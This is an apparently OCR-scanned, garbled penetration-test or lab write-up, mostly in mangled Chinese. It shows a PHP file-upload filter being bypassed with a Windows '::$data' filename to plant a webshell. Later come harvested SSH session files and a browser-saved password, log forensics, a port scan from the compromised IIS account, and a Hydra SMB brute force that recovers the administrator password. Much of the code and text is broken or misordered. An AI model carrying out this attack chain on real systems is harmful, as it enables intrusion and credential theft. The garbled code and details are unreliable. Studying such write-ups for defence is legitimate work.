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<?php
session_start();

// Get the filename and make sure it is valid
$filename = basename($_FILES['file']['name']);

// Get the username and make sure it is valid

$username = $_SESSION[ 'userName'];

if (!preg_match('/~[\w_\-1+$/', $username)) {
echo "Invalid username";
header ("Refresh: 2; url=files.php");
exit;

if (isset($_POST['submit'])) {

$filename = md5(uniqgid(rand()));

$filename = preg_replace("/[~*\w]/i",

$upfile = $_FILES['file']['name’'];

$upfile = str_replace(';"', "", $upfile);

$tempfile = $_FILES['file']['tmp_name'];

$ext = trim(get_extension($upfile)); // null

if (in_array($ext, array('php', 'php3', 'php5', 'php7', 'phtml"'))) {
die('Warning ! File type error..');

, $filename);

}

if ($ext == 'asp' or $ext == 'asa' or $ext == ‘cer' or $ext == 'cdx' or $ext == 'aspx' or $ext == 'htac
$ext = 'file';

}

$full_path = sprintf("./users_file_system/%s/%s.%s", $username, $filename, $ext);

if (move_uploaded file($_FILES['file']['tmp_name'], $full path)) {
header("Location: files.php");
exit;

} else {
header("Location: upload_failure.php");

exit;
}
function get_extension($file) {
return strtolower(substr($file, strrpos($file, '.') + 1));
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$upfile = $_FILES['file']['name’'];
$upfile = str_replace(';"', "", $upfile);
$tempfile = $_FILES['file']['tmp_name'];
$ext = trim(get_extension($upfile));

fEwindows FIE H)iE, W LAFIFHADSH RSO X B, EAERISCHZ A



1.php::$data

23 IR B2 . php: : $data
?ii}ﬁiﬁl‘tﬂ ilJSheII:

http://54.223.229.139/file/users_file_system/lemonaaa/b7f1bf99788b5cd72920b539d9ce52b3. php
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C:\Program Files (x86)\NetSarang\Xshell 5
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C:\Users\Administrator\Documents\NetSarang\Xshell\Sessions\172.31.5.95.xsh
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Entry Name : https://www.baidu.com/
Type : AutoComplete

Stored In : Registry

User Name : iamroot

Password . abc@elk

Password Strength : Medium
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find / -mtime +1 -mtime -3 -type f -print 2>/dev/null
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dhclient[891]: bound to 172.31.5.95 -- renewal in 1509 seconds.
CRON[7919]: pam_unix(cron:session): session opened for user root by (uid=0)
CRON[7920]: (root) CMD ( cd / && run-parts --report /etc/cron.hourly)
CRON[7919]: pam_unix(cron:session): session closed for user root
sshd[7922]: pam_unix(sshd:auth): authentication failure; logname= uid=0 euid=0 tty=ssh ruser= rhost=172.31.2.182 user=ubuntu
sshd[7922]: Failed password for ubuntu from 172.31.2.182 port 57074 ssh2
sshd[7922]: Accepted password for ubuntu from 172.31.2.182 port 57074 ssh2
sshd[7922]: pam_unix(sshd:session): session opened for user ubuntu by (uid=0)
systemd[1]: Created slice User Slice of ubuntu.
systemd[1]: Starting User Manager for UID 1000...
systemd[7924]: pam_unix(systemd-user:session): session opened for user ubuntu by (uid=0)
systemd[1]: Started Session 893 of user ubuntu.
systemd-logind[1021]: New session 893 of user ubuntu.
systemd[7924]: Reached target Sockets.
systemd[7924]: Reached target Paths.
systemd[7924]: Reached target Timers.
systemd[7924]: Reached target Basic System.
systemd[7924]: Reached target Default.
systemd[7924]: Startup finished in 18ms.
systemd[1]: Started User Manager for UID 1000.

1: pam_unix(passwd:chauthtok): new password not acceptable

] ubuntu : TTY=pts/0 ; PWD=/home/ubuntu ; USER=root ; COMMAND=/bin/bash
sudo[8006]: pam_unix(sudo:session): session opened for user root by ubuntu(uid=0)
passwd[8017]: pam_unix(passwd:chauthtok): password changed for ubuntu
sudo[8006]: pam_unix(sudo:session): session closed for user root
sshd[7983]:
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who /var/log/wtmp.1
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:\inetpub\temp\appPools\fileserver>s.exe TCP 172.31.13.133 1-65535 512
.exe TCP 172.31.13.133 1-65535 512
CP Port Scanner V1.1 By WinEggDrop

Normal Scan: About To Scan 65535 Ports Using 512 Thread
72.31.13.133 135 Open
72.31.13.133 139 Open
72.31.13.133 445 Open
T2.31.13.133 5985 Open
72.31.13.133 33389 Open
T2.31.13.133 47001 Open
72.31.13.133 49152 Open
72.31.13.133 49153 Open
72.31.13.133 49154 Open
72.31.13.133 49169 Open
72.31.13.133 49170 Open
T2.31.13.133 49177 Open

£2338 Ports Scanned.Taking 507 Threads

FE=AER: administrator: B, FEm, FEKEBERLLEW, AT T, BEK, windowsAHKEHE FLER
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https://msdn.microsoft.com/zh-cn/library/cc786468(v=ws.10).aspx
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C:\Users\IUSR\AppData\Local\Microsoft\Windows\History\Low\hello>hydra.exe -1 administrator -P 2.txt 172.31.13.133 smb
hydra.exe -1 administrator -P 2.txt 172.31.13.133 smb
Hydra v8.1 (c) 2014 by van Hauser/THC - Please do not use in military or secret service organizations, or for illegal purposes.

Hydra (http://www.thc.org/thc-hydra) starting at 2017-81-15 15:48:30

[INFO] Reduced number of tasks to 1 (smb does not like parallel connections)

[DATA] max 1 task per 1 server, overall 64 tasks, 19 login tries (1:1/p:19), ~0 tries per task
[DATA] attacking service smb on port 445

[445][smb] host: 172.31.13.133 login: administrator password: abc@ELK

1 of 1 target successfully completed, 1 valid password found

Hydra (http://www.thc.org/thc-hydra) finished at 2017-81-15 15:48:30
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